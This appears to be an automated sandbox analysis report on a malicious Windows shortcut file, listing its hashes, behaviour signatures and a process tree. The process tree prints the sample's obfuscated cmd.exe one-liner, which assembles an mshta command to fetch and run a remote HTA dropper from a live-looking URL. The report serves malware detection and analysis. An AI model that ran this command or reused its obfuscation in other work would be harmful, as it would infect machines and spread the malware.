Analysis
- max time kernel
148s - max time network
151s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
04/08/2026, 08:23
Static task
static1
Behavioral task
behavioral1
Sample
DOC-6W5CFW.lnk
Resource
win10v2004-20260513-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
DOC-6W5CFW.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
150 seconds
General
- Target DOC-6W5CFW.lnk
- Size 2KB
- Sample260804-kad9caar6s
- SHA256 ffd62e1b0a7ea1b6da2bb85dcde3cbe59777e9264356348b2bd1c133b7c17d6b
- MD5 e703eae5ada81049487bad19ae430fb1
- SHA1 e5e27cfa4c9178268fdc4faa91e61c33c16fb181
- SHA512 dab43841e9e3707be85d04c94cc0c2daa52b9ea63cc566dc080454d6b663d167e3a401f32d3a234a8a264b16728487590cc253159a96bec7c7a96aa721ef14d1
- TLSH T19C4179502AFD059CF3B68E72AD7A7751497BBA529D30C18D0840824C1972B01D933F73
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 2252 cmd.exe 4084 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 2252 wrote to memory of 4084 2252 cmd.exe 90 PID 4084 wrote to memory of 2168 4084 cmd.exe 91
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-6W5CFW.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2252 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /d /v:on /c "set cwAE=oldgpqbtqmqvqatold&set ZAFZ=syszqlwlgfsjfdumylyejhtsys&set wd=loghowjebolplibwyhlog&set jopyL=infyurpjcxyblginf&set DcDq=pzmshjx0&&set cr=gdctdav&&set gJwl=71au&set KtPr=raestarye&&set sXmn=vztad&set HGpiG=cfguffyorofwqlbcfg&set dhVEn=dbgkumurughatghdbg&set Cj=wincawbqgpbdzqcewwftamrwin&&set vhuqh=ht@tp@s://@m@a-@p@d@[email protected]@/@h/@estagio1.ph@p?r=39@1469FB5@D82DB&&start /b !DcDq:~2,3!!cr:~3,1!!gJwl:~2,1! !vhuqh:@=!"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4084 -
C:\Windows\System32\mshta.exemshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB3⤵PID:2168
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